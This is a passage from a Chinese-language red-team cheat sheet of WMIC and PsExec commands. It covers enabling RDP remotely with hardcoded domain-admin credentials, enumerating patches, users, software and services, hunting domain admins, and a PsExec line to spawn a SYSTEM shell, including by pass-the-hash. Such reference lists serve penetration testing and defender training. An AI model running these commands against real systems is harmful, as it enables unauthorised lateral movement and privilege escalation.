· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"admin!@#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 1
· wmic /node:"192.168.3.122" /USER:"klionsec\administrator"
/password:"admin!@#123" PATH win32terminalservicesetting
WHERE (_Class!="") CALL SetAllowTSConnections 0
1.12.10. 查询当前机器已安装的补丁
· wmic qfe get description,installedOn,HotFixID,InstalledBy
· wmic qfe get CSName,Description,hotfixid
1.12.11. 查询当前机器自启动程序有哪些
· wmic startup list full
· wmic STARTUP GET Caption,Command,User
1.12.12. 查询当前机器所安装的所有软件名
· wmic product get name /value
· wmic product get name,version
1.12.13. 删除当前机器中指定名称的软件
· wmic product where name="Google Update Helper" call uninstall
/nointeractive
1.12.14. 所有的盘符及剩余空间
· wmic logicaldisk get description,name
· wmic logicaldisk where drivetype=3 get
name,freespace,systemname,filesystem,volumeserialnumber
1.12.15. 简要配置信息
· wmic computersystem list brief /format:list
1.12.16. 操作系统位数
· wmic cpu get DataWidth /format:list
1.12.17. 用户及组信息
· wmic useraccount list brief /format:list
· wmic group list brief /format:list
1.12.18. 所有用户的详细信息
· wmic useraccount list brief
1.12.19. 所有服务的详细状态
· wmic service list brief
1.12.20. 指定域的域管有哪些
· wmic /node:rootkit path win32groupuser where
(groupcomponent="win32group.name=\"adm\",domain=\"rootkit\"")
1.12.21. 查看谁登陆过指定机器,适合用来找域管进程
· wmic /node:192.168.3.23 path win32_loggedonuser get antecedent
1.12.22. 查询本机共享
· wmic share get name,path,status
1.13. pstools
1.13.1. 弹回一个system权限的cmdshell
· psexec /accepteula \192.168.3.122 -u klionsec\administrator -p
"admin!@#123" -s -c -f "cmd.exe"
· psexec /accepteula \192.168.3.23 -u klionsec\administrator -p
lm:ntlm -s -c -f "cmd.exe"
• 适合03以下的系统